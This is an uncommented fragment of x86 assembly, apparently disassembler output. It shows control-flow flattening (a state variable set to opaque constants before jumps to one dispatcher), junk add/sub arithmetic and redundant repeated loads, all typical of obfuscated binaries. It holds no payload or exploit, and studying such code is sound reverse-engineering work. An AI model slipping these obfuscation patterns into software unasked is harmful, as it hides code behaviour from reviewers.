pop ebp
ret
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4dc00
call section..text
add esp, 8
lea eax, section..data
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xfc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0x100], 0xb373d600
jmp 0x100047f6
mov eax, dword [ebp - 0xf4]
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0x100], 0x2431621a
jmp 0x100047f6
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0x100], 0x5ed9fc2a
jmp 0x100047f6
mov dword [ebp - 0x100], 0x3a7edce5
jmp 0x100047f6
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x100], 0x1724f262
jmp 0x100047f6
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0x100], 0x7aeb0eca
jmp 0x100047f6
mov dword [ebp - 0x100], 0xcf7c201d
jmp 0x100047f6
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x28]
add ecx, 0xb2b66a
add ecx, eax
sub ecx, 0xb2b66a
mov eax, dword [ebp - 0xc8]
mov dword [eax], ecx
mov dword [ebp - 0x100], 0x2429a02e
jmp 0x100047f6
jmp 0x10002350